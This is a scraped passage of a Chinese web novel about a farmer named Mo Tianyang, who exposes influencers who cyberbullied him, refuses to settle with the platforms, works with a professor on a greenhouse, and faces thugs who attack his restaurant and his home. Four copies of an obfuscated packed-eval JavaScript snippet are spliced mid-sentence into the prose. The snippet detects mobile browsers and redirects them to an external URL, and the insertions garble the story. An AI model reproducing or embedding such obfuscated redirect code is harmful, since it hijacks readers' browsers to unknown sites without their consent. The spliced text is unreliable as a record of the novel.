哗啦一阵**上膛声，所有执法者都将枪口对准了青狼。 “莫天扬！你想干什么？！” 莫天扬冷哼一声，回手指向楼房：“**什么，你还不够格知道。不过你们做了什么——监控可都记下来了。你们拿拼接视频当证据，不知道我这全程监控，能不能让你们这群**好好喝一壶？” “你院子有监控？！”那些人脸色霎时变了。从他们开始网暴莫天扬起，他一直沉默以对，他们这才越发肆无忌惮——都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365398|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为他要有监控，早就该拿出来了。 “不然呢？”莫天扬冷笑，“我这几天一直没动静，就是想看看你们这群跳梁小丑能无耻到什么地步。还真没想到，不光网络**在蹦跶，你们也跑来凑热闹——真是一出好戏。” “莫天扬，你快把监控删了！我们可以给你一个机会！” 莫天扬哈哈大笑：“现在才着急？是不是有点晚了？不只是监控，你们这副丑陋的嘴脸，现在正被全网直播！接下来不止是你们，还有那些这几天网暴我的主播，我一个都不会放过！你们就等着收**传票吧！” “什么？！”这番话让在场所有人彻底慌了。他们自己这几天做了什么心知肚明，一旦坐实，不止网红生涯终结，情节严重甚至可能要坐牢！ “莫天扬！你敢！” 莫天扬盯着那个叫嚣的中年人：“你们都恨不得我家破人亡了，我还有什么不敢的？好好看看你们自己在网上的丑态吧——你们当中不少人，现在可都成‘网红’了！” 一群人慌忙掏出手机，连原本来直播的人都关掉了拍摄，急切地想确认莫天扬是不是真的开了直播。 下一刻，他们全都傻了眼，有人手机甚至掉在了地上——网络平台上确实有人在直播，还是一个拥有五百多万粉丝的大V直播间，观看人数已破百万！ 直播间里群情激愤，全在声讨这群网红。更有人放出了那天的完整监控视频：网红们擅自闯入院子、推倒前来劝阻的胡标、不顾警告逼近青峰青羽疯狂拍摄，最终激怒巨鸟而受伤——自始至终，青狼根本没有出现！ 真相大白，那些人彻底慌了阵脚。不少网红立马调转枪口，声称自己也是被欺骗才煽动粉丝网暴莫天扬。 短时间内，颜若曦匿名发布的监控视频冲上热搜，而她悄悄开启的直播账号粉丝数瞬间突破千万。 来时气势汹汹、恨不得生吞莫天扬的这群人，此刻彻底没了底气，一个个灰溜溜地仓皇逃走。 客厅里，颜若曦笑着看向莫天扬：“天扬，现在网络风向彻底变了。那些发假视频的网红全被反噬，账号也都封了。接下来平台会根据具体情况对他们做出处罚。” “起诉书呢？” “已经发出去了。不过那些大网红很多都是平台的牟利工具，平台那边不一定愿意彻底**。他们可能会找人过来和你谈判。” 莫天扬冷哼一声：“他们才是真正的推手。我不会跟他们谈。” “天扬，每个平台背后水都很深。一旦撕破脸，他们恐怕会在网络上持续针对你。” 莫天扬冷冷一笑，“天道有轮回苍天饶过谁，如果他们这样做的话，他们迟早会完蛋，再说我又不上网，他们能拿我怎么办，不过倒是你，这好不容易粉丝破了千万，他们或许还真的会找机会封了你的号。” “我才不稀罕。” “既然不稀罕，那就和他们硬刚，必须让那些**血馒头的玩意付出代价。 第一百八十四章拒绝流量？ 莫天扬这边，经历了一波手心冒汗的紧张后，终于渐渐归于平静。 而那些曾怒骂他、企图让他身败名裂的网红，却因一时之快付出了代价。他们发动网暴，却因颜若曦的直播和完整监控的公开，自己反而被推上风口浪尖。 青峰和青羽的出现更是让整个事件愈发扑朔迷离——它们被证实是夏天时莫天扬所救，几个月后从深山中飞出，一路寻到他身边。而就在它们出现的当日下午，那些前来“宣传”却心怀不轨的网红们，就遭遇了“意外”。 起初，大众还以为是莫天扬操控青狼伤人。但随着完整视频的公开，所有谣言不攻自破——所谓的“青狼”根本不存在，伤人的其实是刚从山中飞来、与莫天扬重逢不久的两只大鸟。一切，都是那群人自作自受。 尽管不少网红的直播间已被封禁，但正义的网友并没有放过他们。大家纷纷举报这些带节奏的主播，甚至将平台也一并投诉——若不是平台一味纵容、不问真相，事情也不至于发酵至此。 网络不是法外之地。随着**不断升温，不仅参与网暴的网红们人人自危，连相关平台也感到了危机。 他们试图联系莫天扬寻求和解，却意外地发现，这个被网暴数日的人，在网络上几乎一片空白——没有常用社交账号，没有过往痕迹，像一阵吹过山野的风，无声却有力。 “天扬，平台方派人来了，希望你能出面澄清，说那一切都只是误会。” 莫天扬冷冷一笑：“他们还真是没有底线。让他们走，我不想见。” 胡标看了看一旁的颜若曦和刘思雨，他自己对网络并不熟悉，但这几天也从她们那儿听了不少。他知道，如果莫天扬这次硬刚到底，恐怕以后很难再借这些平台发展。他有些犹豫。 颜若曦轻声劝道：“天扬，要不……还是见一下？听听他们怎么说。” 莫天扬摇摇头，语气坚决：“事情刚出的时候，他们没有一个人来问过真相，反而拼命给那些谣言流量。现在真相大白，就想让我帮他们挽回形象？对不起，我做不到。他们不配做人，我更不想脏了自己的眼睛。” 颜若曦与刘思雨对视一眼，默默叹了口气。这段时间的相处，她们早已了解莫天扬的性子——他出身平凡，经济条件一般，却比许多人都要干净、坦荡。他善良、正直，眼里揉不得沙子，也绝不会向虚伪妥协。 “标叔，”颜若曦最终开口，“你去告诉他们，天扬进山了，不方便见人。” “不，”莫天扬打断道，“就直接说，我们不会和解。他们必须为自己的愚蠢付出代价。” 平台派来的代表原本带着几分施舍般的优越感前来，随行还有几位大V主播实时直播，试图营造“诚意和解”的场面。却没想到，莫天扬连一点余地都不留。 消息一出，全网哗然。 有人拍手称快，支持莫天扬坚决不妥协的态度；也有人冷嘲热讽，说他不过是想借机炒作，等流量到手，自然就会带货变现。 但莫天扬根本不在意这些声音。 几天后，消息传来。 “天扬，工信部出手了。这次一共永久封禁了四百九十个网红账号，其中粉丝超五百万的，就有一百六十七个。平台这次想保都保不住。” 莫天扬深吸一口气，目光沉静：“封得好。这种人，为了一点流量连做人的底线都可以不要，根本不配拥有发声的资格。” “可是，”胡标有些忧虑，“这样一来，你也彻底把各大平台得罪了。将来如果想靠网络发展，恐怕会很难……” 莫天扬却淡淡一笑：“我有这一亩三分地，有王传林他们帮忙经营，产出都不够卖。我不需要靠他们，更不屑——我嫌他们脏。” 胡标跟着点头，“对，产品还需自身硬，好酒不怕巷子深，今年就是一个活生生的例子，只要种植出来的是无公害蔬菜，沛川的人都专门过来购买，和需要借助什么网络。” “天扬，并不是单**台的事情，你这一次让那么多的网红被永久性封了账号，断了他们的财路，他们接下来会不会报复你，你想过没有。” 莫天扬深吸口气，他当然知道平台不会拿他怎么样，不过那些网红却不同，他们中很大一部分人可都不干净。 “不要怕他们。” 几天后，一个晨雾尚未散尽的清晨，一阵沉稳的刹车声打破了院落的静谧。 正好从酒坊返回来的莫天扬走出院子，院外站着的却不是预想中平台派来的第二批说客，而是几位穿着朴素、气质却与周遭格格不入的人。为首是一位五十岁上下、戴着眼镜的中年男子，态度谦和。 “您好，请问莫天扬先生在吗？我们是从省农科院来的，姓陈。”他递过一份证件，语气诚恳，“我们看到了近期的一些报道，尤其是关于那两只……大鸟，以及您这里的种植环境，非常感兴趣，冒昧来访，想请教几个问题。” 莫天扬目光扫过几人，落在他们沾了些泥土的鞋裤上——这是村里的人才有的痕迹，而非那些只会架着手机的主播和坐办公室的人员。他的神色稍缓。 “请进。”他侧身让开。 陈教授一行人的到来，与之前网红和平台的浮躁形成了鲜明对比。他们看向站在屋顶的青峰青羽。他们的眼神中都只是惊讶，却没有直接拿出拍摄工具拍摄。 这两只似乎通人性的大鸟，它们并非时刻黏在莫天扬身边，哪怕是站在屋顶栖息，它们的目光锐利，带着山野的灵性。 “小莫，从今年夏天我们就开始关注你，你的种植方式很是传统，可种植出来的蔬菜却不同于其他地方，我们过来是想要和你探讨一下你的种植方式。” 陈教授推了推眼镜，眼中闪烁着学术探究的光芒，“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369596|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们希望能和您建立长期合作，将这里作为一个观测点和研究基地，您看如何？” 这并非商业合作，更像是一种认可和邀请。莫天扬沉吟片刻，点了点头。他不在乎什么研究基地的名头，但在乎这些人对这片土地和生命的尊重。 陈教授一行人族莫天扬家里带了近一个小时，没有人知道他们说了什么，不过他们却看到在陈教授一行人走的时候，莫天扬亲自送出来，每一个人的脸上都有着淡淡的笑容。 而在离开的时候，莫天扬还专门让青峰、青羽、狼群过来，让陈教授一行人近距离拍摄了一下。这让在院外拍摄的那些网红羡慕的要命。 不过他们从陈教授一行人到来看出了一些问题，那就是莫天扬并不是那一段时间网络上所说的不近人情，他是一个很有底线的人，主要给予他以及身边人足够尊重，他不会翻脸。 消息不胫而走。 省农科院的专家亲自拜访一个被网暴的“农民”，还要合作建立研究基地？这反转比剧本还精彩。之前嘲讽莫天扬炒作的人哑了火，而支持他的人则倍感扬眉吐气。 曾经打算以后封禁他的平台，此刻陷入了更大的尴尬。他们试图再次接触莫天扬，话题却从“澄清误会”变成了“公益助农宣传”，甚至提出可以免费为他的农产品提供专属流量通道。 这一次，莫天扬甚至没让胡标出去传话。 他正在给青峰梳理羽毛，头也没抬，只对颜若曦他们说：“告诉他们，我这里的东西，不卖给心里不干净的人。他们的流量，我更用不起。” 他的拒绝，再次让外界哗然。但也正因这种近乎“不识时务”的硬气，莫天扬这个名字，在喧嚣的网络世界里，反而成了一个独特的符号——代表一种绝不向虚假和资本低头的固执和纯粹。 就在网络上再次炒作莫天扬的同时，王传林的电话打了过来，语气兴奋又无奈：“天扬！你现在可是比明星还火了！如果将公司和你挂钩的话，你的任何东西可是真不愁卖了！可以却……” 莫天扬看着远处在田埂上安静踱步的青羽，笑了笑，对电话那头说：“王哥，规矩不变。东西只卖给尊重农民、尊重农村的人。其他的，就算了。” 他挂掉电话，山风吹过，带来泥土气息。网络上的惊涛骇浪，仿佛远在了另一个世界。 站在莫天扬身后的颜若曦和刘思雨相视一笑，她们知道，莫天扬从未变过。变的，是终于有更多的人，看到了他那份固执背后的光芒。 而此刻，青峰、青羽忽然昂**鸣一声，振翅飞向高空，在山峦之上盘旋，仿佛在巡视着这片它所要守护的净土。 青峰、青羽带起的冷风让颜若曦、刘思雨不由的深吸口气，莫天扬摇了摇头，“天气会越来越冷，这里冬天最低温度会降到零下四十多度，所以你们的提前做好准备了。” 第一百八十五章医学奇迹 “思雨，你脸上的疤痕好像又淡了一些。”曹慧端着茶杯，忽然侧过头，仔细看着刘思雨的脸说道。 “真的吗，慧姐？”刘思雨下意识抬手，指尖轻轻碰了碰脸颊。 “你自己看。”曹慧起身，从茶几下面翻出一面小圆镜递过来。 刘思雨接过镜子。镜中的脸庞，肌肤细腻光洁，甚至比车祸之前更有光泽。最令她屏息的是——那两条曾被医生断言将伴随终生的疤痕，如今只剩下淡淡的一缕细线，若不细看，几乎融进了肤色之中。 她怔住了，一丝悸动的笑意从眼底漾开。 “若曦，你快来看！”她边说边站起身，动作流畅，甚至忘了去拿倚在沙发边的拐杖。 颜若曦闻声转头，却没先看她的脸，目光一下子落在她的腿上，语气里带着惊疑：“思雨，你的腿……” 刘思雨一愣，低头看去，也终于意识到什么。她试着轻轻跺了跺脚，又往前迈了一小步，脸上瞬间写满了难以置信：“若曦，慧姐……我的腿，一点都不疼了！” “走，我们去找天扬，立刻去医院检查一下。”颜若曦果断说道。 浅驼市人民医院。莫天扬和颜若曦站在诊室里，目光紧盯着对面沉吟的医生。 “医生，情况怎么样？” 医生没有立刻回答，反而抬起头，眼中带着明显的困惑：“你们确定，患者的左腿是两个月前发生的粉碎性骨折？” 颜若曦连忙点头，将一直握在手里的文件袋递过去：“这是她在沛川、燕京的病历和影像资料，我们都带来了。是不是……她的腿有什么问题？” 医生接过资料，一页页翻看，越看眉头蹙得越紧。片刻后，他猛地抬起头，眼中写满了惊诧，连说话都带上了些许迟疑。 “这……这怎么可能？才两个月的时间……粉碎性骨折的恢复程度，几乎可以说是临床痊愈了！” 莫天扬神情还算平静。这两个月，刘思雨不仅用了“落颜无痕”，日常饮用更是他取自山间的灵泉水。他深知那泉水的效用，对此结果早有预料。 但颜若曦却完全不同。她亲眼见过燕京专家会诊时的凝重气氛，亲耳听过最权威的骨科专家断言：这样的重伤，没有七八个月绝不可能下地，即便恢复，也难免留下后遗症。此刻听到“几乎痊愈”四个字，她几乎怀疑自己听错了。 “医生，您说的是真的？” 医生重重地点了下头，语气极为肯定：“以她受伤的时间来计算，这简直是医学史上的奇迹！”他说完，忽然像是想起什么，低声自语：“刘思雨……这个名字有点耳熟。” “她就是两个月前那个被醉驾货车撞伤的女孩。”颜若曦轻声补充。 “什么？！真的是她？”医生仿佛被击中一般，瞬间愕然。那天晚上惊心动魄的抢救场景他还历历在目，刘思雨当时危重的伤势他再清楚不过。 “伤者现在在哪？我能再见见她吗？” “她马上就到。” 几分钟后，刘思雨在杨丽的陪伴下走进诊室。她戴着帽子和口罩，脚步却比之前轻快了许多。杨丽扶她坐下，急切地望向医生：“医生，检查结果怎么样？” 医生认出了杨丽，彻底确认了患者的身份，他的表情更加不可思议：“她的腿恢复得非常好，石膏可以拆除了，接下来进行适当的康复训练即可。我从医三十年，从未见过这样的奇迹！” 他顿了顿，目光落在刘思雨的口罩上，迟疑着问：“那她的脸……” 若是刚受伤时，刘思雨绝不愿被人看到面容。但此刻，最大的疤痕已淡至近乎不见，她心中早已没了那份阴霾。 她平静地抬手，缓缓摘下了口罩。 诊室里顿时响起几声压抑的惊呼，医生和护士们都睁大了眼睛，脸上写满了难以置信——眼前这张清秀光洁的脸，怎么也无法和记忆中那个血肉模糊、被判定为百分之百毁容的女孩联系起来。 “请……请问，”医生的声音因激动而有些发颤，“是哪位神医为她做的面部修复？根据当时的记录，她面部嵌入了大量玻璃碎屑，深层组织受损严重，即便清创成功，以现有的技术，毒素沉积和疤痕增生也几乎是不可逆的……” 杨丽、刘思雨和颜若曦的目光，不约而同地转向了站在一旁的莫天扬。 莫天扬只是微微一笑，语气平淡得像是在说一件寻常小事：“从燕京回来的路上，有幸遇到一位云游的老中医，请他帮了忙。” 三人闻言都怔住了。这是多好的机会啊！一旦说出去，莫天扬立刻就能声名鹊起。可他竟然就这样轻描淡写地推给了一位“游历的老中医”？ “那……您有那位老先生的联系方式吗？”医生急切地追问，眼中充满了对医学真相的渴求。 诊室里陷入了一片短暂的寂静，只有仪器运作的微弱嗡鸣。所有目光都聚焦在莫天扬身上，等待着他的回答。 莫天扬迎上医生灼热的目光，脸上依旧是一片令人捉摸不透的平静，他缓缓摇头，语气带着恰到好处的遗憾。 “那位老先生云游四方，居无定所。那次偶遇纯属机缘，他配出一个月的药量，交代我们熬制的方法就离开，并未留下任何联系方式。我们也无从找寻。” 医生脸上瞬间写满了巨大的失落，喃喃道：“太可惜了……这样的医术，若是能……” 一旁的颜若曦适时地上前一步，轻轻揽住刘思雨的肩膀，巧妙地将话题引回当下：“医生，现在最重要的是思雨的康复计划。既然腿已经好了，接下来我们需要做些什么？” 医生这才从惋惜中回过神，努力将注意力拉回病例本身，仔细交代起拆除石膏后的复健注意事项和面部疤痕的后续观察要点。他的语气依旧带着难以置信的惊叹，每一次看向刘思雨的目光都像是在审视一个珍贵的医学样本。 回程的车上，气氛有些微妙。杨丽终于忍不住，看向驾驶座的莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369597|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天扬：“天扬，刚才那么好的机会，你为什么……” “阿姨，”莫天扬透过后视镜，对她温和地笑了笑，打断了她的话，“思雨能好起来，比什么都重要。再说我不是医生，一旦外界知道是我治好了思雨，接下来会有多少人过来，我现在的麻烦事已经不少，如果他们抓住我不是医生做文章，我就麻烦了。” 他没有多说，但车里的几人都明白了他未竟之意——他不在乎虚名，甚至有意避免将自己置于聚光灯下。那种纷扰，与他和他所守护的这片山野的宁静格格不入。 然而，树欲静而风不止。 “医学奇迹！车祸重伤女孩两月近乎痊愈，疑有隐世神医出手！”“全网寻找‘游历老中医’！浅驼人民医院证实奇迹康复案例！” “重伤少女神奇康复”的消息本身就如同一个爆点，加上那天诊室内众多目击者，消息还是不可避免地被某些医护人员透露了出去，迅速被几家嗅觉灵敏的媒体捕捉，加工成了各种吸引眼球的新闻。 整个网络都在热议这件事情，好在当时莫天扬几个都戴着口罩帽子，他们的消息都没有暴露出去。 不过那些因为意外被毁容的人却在网络上掀起了一场寻人风波，不说是他们，就是很多医学领域都掀起了一场风暴，毕竟能够让燕京专家都断定永久性毁容的伤者，现在伤势基本痊愈，这是事实。 在全网寻找那位游历老中医的同时，青木村，莫天扬大院的后院，一座几乎占据了整个后院，面积在半亩左右，很是现代化的温室中，几个专业人员正在做最后的调试。 莫天扬看向陈亮（前几天过来的陈教授），“陈教授，这个温室造价是多少？” 陈亮淡淡一笑，“这个温室是最小规模的温室，因为青木村这边冬天风沙太大，所以用的材料都是防风沙的材料，造价较高，这一座算下来差不多有三十万。” 莫天扬不由得咧了咧嘴，那一段时间他专门研究过种植大棚，占地三五亩的不过两三万，这现在倒好，占地也就是半亩左右的就三十万，这样的温室还真的不是种植户能拥有的，也只有农科院这样的机构才花费的起。 看着莫天扬的样子，陈亮淡淡一笑。“小莫，放心，这个温室是我课题研究资金，不需要你花费一分，等我搞完研究，温室就赠送给你，不过你不能藏私。” 莫天扬不由得摇了摇头，“陈教授，我不过是根据古书籍中学到一些皮**，那有什么经验。” “古农书，齐民要术还是农政全书……”陈亮一连串说出多部农书。 莫天扬摇摇头，“不清楚，没有封面。” “有机会我看看，古人虽说没有现代的科技，可在很多方面展现出了超人的智慧，这些东西可不是现代人所能够达到的。” “对了，小莫，这温室我也帮你搭建起来了，接下来就需要你展现你的传统种植技术了，不知道你打算种植什么？” 第一百八十六章餐馆被砸 “浅驼这边风沙大，冬季菜价高得惊人。我打算种些蔬菜，西瓜、甜瓜，另外还想试两种陈教授或许没见过的瓜果。” 陈亮眼神一凝，顿时来了兴趣：“是什么品种？” “黑草莓、血瓜，还有黑色鸡心柿。” 莫天扬话音落下，陈亮瞳孔微微一缩。他虽在省农科院工作，却早已因卓越的农业研究成果被业内誉为最年轻的院士候选人。三十多年的植物研究生涯中，他培育过无数高产品种，却从未听说过什么黑草莓、黑色鸡心柿，至于“血瓜”，更是闻所未闻。 “天扬，如今全球农业科技发展迅速，优质草莓品种层出不穷，但我确实从未听说有黑草莓或黑色鸡心柿——即便国外也未见报道。这些不会是转基因品种吧？你知道的，国内明令禁止转基因作物推广。另外你说的‘血瓜’，又是什么？” 莫天扬摇摇头，语气平静：“陈教授，这些都不是转基因。黑草莓和黑色鸡心柿是我前几年进青木山脉时偶然发现的野生种。血瓜倒是我们本地以前的老品种，小时候还吃过，只不过极难成活。今年我运气好，采到些种子，总算培育出来了。” “有照片吗？”陈亮顿时目光灼灼，语气迫切。青木山脉他再熟悉不过——那是一片仍保留原始生态的秘境，正因为地势险峻、危机四伏，科研团队至今难以深入考察。也正因如此，他从关注青木村网络动态起，就格外留意常进山采集的莫天扬，相信他真可能带出什么稀有物种。 莫天扬拿出手机，调出相册里几张照片递过去。陈亮一看，顿时屏住了呼吸—— 照片中，黑草莓果实乌亮莹润，似黑珍珠缀于绿叶间；血瓜瓜纹深红如血管蔓延，瓜形饱满奇特；黑色鸡心柿则个小色深，形如墨玉雕成的心形。每一张照片都冲击着他的认知。 他手指滑动，又看到不少其他未曾见过的植物影像，越看越是激动：“这些……都是你在青木山里拍的？” 见莫天扬点头，陈亮几乎脱口而出：“那能不能带我们进山考察？几十年前院里就组织过青木山脉考察项目，可因为太危险，折了几位同志在里面，后来就……”他说到这儿，声音低了下去，眼里却仍带着一线希望。 莫天扬苦笑了一下：“陈教授，您也见过我那几个朋友，他们求了我好久我都没答应。不是我推脱，就算有青狼在身边，进了山我也只能勉强自保。不瞒您说，我有好几次都差点没能出来。” 陈亮叹了口气，眼中难掩失望，却也理解地不再强求：“我明白，安全第一。那以后你若再进山，能不能多拍些照片？哪怕是常见的物种，对完善青木山生态资料也是极宝贵的。” “没问题。这几天我就找人整地，正好也育了一批菜苗和瓜秧，到时候移栽过来。” 正说着，莫红兵从院外快步走来，朗声道：“天扬，青峰和青羽逮了只肥黄羊回来！中午炖羊肉咋样？” “好，你们先收拾，我待会就来。” 等莫红兵走远，陈亮才回过神来，又惊又喜：“他刚说……青峰、青羽抓了只黄羊？” “对，自从它们来了以后，隔三差五就和青狼一起带些野味回来。” 陈亮不禁笑起来，语气中满是期待：“那我们今天可真有口福了！” 温室顺利搭建起来。虽然用的是陈亮的研究资金，但对莫天扬而言，这无疑是件大好事——他正好可以借此培育开春要用的秧苗。 因此，从莫天扬到胡标，每个人整理温室时都格外用心。就连颜若曦和刘思雨，也都忍着棚里农家肥的气味，专注地看着他们忙碌。 “天扬，秧苗已经冒头了。你这技术真让我大开眼界。”陈亮蹲在苗床边，语气里满是赞叹，“我搞农业三十多年，出苗速度这么快的，还是头一回见。” 他话音刚落，莫天扬的手机就震动起来。莫天扬略带歉意地朝陈亮点点头，掏出手机，看到屏幕上跳动的名字，不禁微微一怔。 是赵兴胜。 虽说人是他请来的，但自从王海龙他们回来之后，餐馆那边有事通常都是通过他们传话。这次赵兴胜直接来电，恐怕…… “胜哥，有事？” “天扬，你得来县里一趟，餐馆这边出了点事。” 莫天扬心头一紧。自从小餐馆开业，他还从没操过心。徐志国、赵兴胜他们四个都不是普通人，一般小事根本不会找他。 “好，我马上过去。” “你来租的那个院子，我在那儿等你。” 听到这话，莫天扬更加确定——餐馆遇到的麻烦，恐怕超出了他们四人的应对范围。 “宏利，谁有空送我一下？我得去趟县里。” 浅驼县，莫天扬租住的小院。 屋里烧得暖和，与外头十几度的气温形成鲜明对比。莫天推门进去时，赵兴胜正皱着眉坐在椅子上。 “天扬，你来了。” “胜哥，出什么事了？” “这几天一直有人来找，说想入股餐馆，帮我们开一家更大的店。”赵兴胜语气沉了下来，“我们没答应，结果就天天有人来闹。刚才，卫生、税务几个部门突然上门检查，说在后厨的炖肉里发现了蟑螂，还说我们有几个证件有问题……志国已经被他们带走了。” 莫天扬眼神一凝：“对方什么来路？” “说是沛川来的一个什么集团，在那边有家星级酒店。听说我们炖肉有特色，就想来‘合作’。” 莫天扬皱了皱眉。青木餐馆说到底也就是个小馆子，虽然炖肉、小菜和豆芽确实吸引了不少食客，但来的大多是普通老百姓。怎么会连沛川的星级酒店都盯上这边？ “会不会……真是我们这边出了问题，被客人投诉了？”话刚出口，莫天扬自己就先摇了摇头。 王海龙他们都是行伍出身，就连他租的这个院子都被他们收拾得干干净净，餐馆怎么可能出卫生问题？ “绝无可能。”赵兴胜斩钉截铁，“炖肉我们都反复清洗，蔬菜也是一株一株挑出来的。夏天餐馆都没闹过蟑螂，这季节怎么可能有？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376353|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫天扬点点头：“那就是有人故意找事。” “应该是。王宏伟已经出去打听了，但我觉得这事还是得跟你说一声。” 正说着，赵兴胜的手机响了。他接起电话，听了几句，脸色顿时一变。 “那边出事了，有人把餐馆砸了。” 青木餐馆门前一片狼藉。 郭宏和两位中年女工站在门口，眼里压着怒火，却克制着没有过激反应。 赵兴胜快步赶过去，莫天扬却没有立刻跟上。他站在人群外围，冷眼扫过店里那几个**的人，眉头越皱越紧。 直到执法车辆赶到，那帮人才大摇大摆地走出来。而当最后一人晃出店门时，莫天扬瞳孔骤然一缩，眼底寒意骤起。 莫栓。 这个和他流着相似的血、曾受他爷爷几十年照拂的人，如今却是他最厌恶的**。莫天扬怎么也没想到，带人来砸店的，竟会是他。 这一刻，他忽然意识到——这场阴谋的背后，恐怕少不了安云飞的影子。甚至，可能是安云飞背后那只黑手，又一次悄无声息地运作起来。 正如莫天扬所想，虽说打砸的莫栓几个都被执法者带走，可他们却没有被控制，哪怕是带上车子的时候，莫栓依旧嚣张的看向赵兴胜、郭宏。 “两个瘪三，有老子在浅驼，你这餐馆就别想开下去，过两天老子出来还会过来找你，不过不会砸你的店，而是和你商量点事，这几天不过是一个小小的教训。” 莫天扬心头一震，看向莫栓的时候眼眸中满是寒意，现在他已经基本上断定，青木餐馆的事情和安云飞以及他身后的黑手绝对有关系，因为他们知道青木餐馆的炖肉就是拿到星级酒店也绝对能打开局面。 在郭宏跟着执法者离开，赵兴胜妻子哭着收拾餐馆的时候，莫天扬拨通了赵兴胜的电话。 “天扬，你在哪里。”餐馆门口的赵兴胜在接起电话的时候，他四下张望。 “胜哥，最后说话的那个就是莫栓，我想这一切都和安云飞有关，更或者和安云飞背后的那个大人物有关系。” 赵兴胜的眼眸一缩，他进入到餐馆中，“天扬，那个真的是莫栓。” “对，所以联系宏伟哥让他回来，接下来盯着安云飞、莫栓就行。” “那餐馆？” “他们不是不让营业，正好借着休息一下，不过我想即使弄清楚眉目，先将他们的爪牙弄进去几个。” “行，我这就联系王宏伟。” “餐馆这边短时间内开不成，你这边准备的肉给我带上，我带回去。” 一处区域，赵兴胜将两只羊、上百斤带骨猪肉放到莫天扬找来的货车上，他的眼眸中满是无奈。 “天扬，这事情……” “胜哥，不要灰心，咱们不是早就说想换一个大的店面，趁着有时间，出去看看。” 就在莫天扬坐上货车，电话再次震动起来，拿出电话，莫天扬深吸口气，“慧姐，我等下就回去。” “天扬，你快回来，出大事了，那个陈教授被人打伤了。” 第一百八十七章家里出事 青木村，莫天扬的院内外气氛凝重。村民们仍紧握着铁锹和耙子，眼中怒火未熄。 才入住没几天的新楼房，门窗已碎裂不堪。楼门前，二十多个手持棍棒的青年虽被村民们团团围住，脸上却仍带着嚣张的气焰。 台阶上，胡标、曹勇等人瘫坐着，个个鼻青脸肿。陈宏利几人头上还淌着血，看上去触目惊心。 匆匆赶回的莫天扬看到手持农具挺身而出的乡亲，心头一热——这就是乡里人最朴素的仗义，自家人再怎样，也轮不到外人欺上门来。 “天扬，你可回来了！” 莫天扬沉声问：“怎么回事？” “不清楚，突然来了一群年轻人，见东西就砸、见人就打！胡标他们都伤了，连这几天住你这儿的那位先生也没能幸免。” 莫天扬深吸一口气，眼神骤然冷了下来。他大步走进院子，目光扫过受伤的陈宏利、曹勇等人，再看向那群依旧张狂的青年，眼底几乎凝出冰霜。 那些人也注意到了莫天扬。一看到他，彼此交换了眼色，其中一人突然喊道：“兄弟们，正主回来了！废了他！” 二十多人顿时挥着棍棒冲了过来。莫天扬瞬间明白了——这些人是冲着他来的，打砸伤人，不过是为了逼他现身。 “打他们！”村民们见状也急了，纷纷举起农具想要上前。 “大家别动，让我来！” 莫天扬怒吼一声，径直迎了上去。经过灵泉水的洗涤，他的体质早已脱胎换骨，无论是力量还是敏捷都远超常人。加之近来一直跟着王海龙苦练防身术，就连王海龙都惊叹他的进步神速。 只见他拳出如风，腿扫如电，每一次出手必有一人惨叫着倒地。莫天扬终究留了力——他知道这些都是普通人，并未下死手。但一想到胡标这些老人无辜被打，他心头的怒意就难以平息，即便收了力道，也足够让这些人好好喝一壶。 不过几分钟，二十多个青年全被打翻在地。莫天扬也不想显得太过惊世骇俗，故意挨了几棍，此时衣衫破损，裸露的皮肤上道道青紫，看上去也是伤痕累累。 一人独挑二十多人，纵然身上挂彩，这一幕仍震撼了所有村民——几个月前，莫天扬还被莫老三家打断了腿不敢还手，如今却……这反差实在太大，许多人几乎不敢认眼前这个悍勇的青年就是他们熟悉的那个莫天扬。 一直守在酒坊旁静观其变的王海龙，嘴角却露出一丝不易察觉的笑意。别人看不出门道，他却心知肚明——莫天扬这番“表演”，分明是不想太过惹眼。 警笛声由远及近，村民们心神稍定，纷纷放下农具让开一条路…… 一群执法者走进院子，看到眼前的场面先是一愣。然而接下来的发展却让莫天扬这个“受害者”都皱起了眉——这些人并没有先询问受伤的村民，反而径直走向那些被打倒在地的青年。 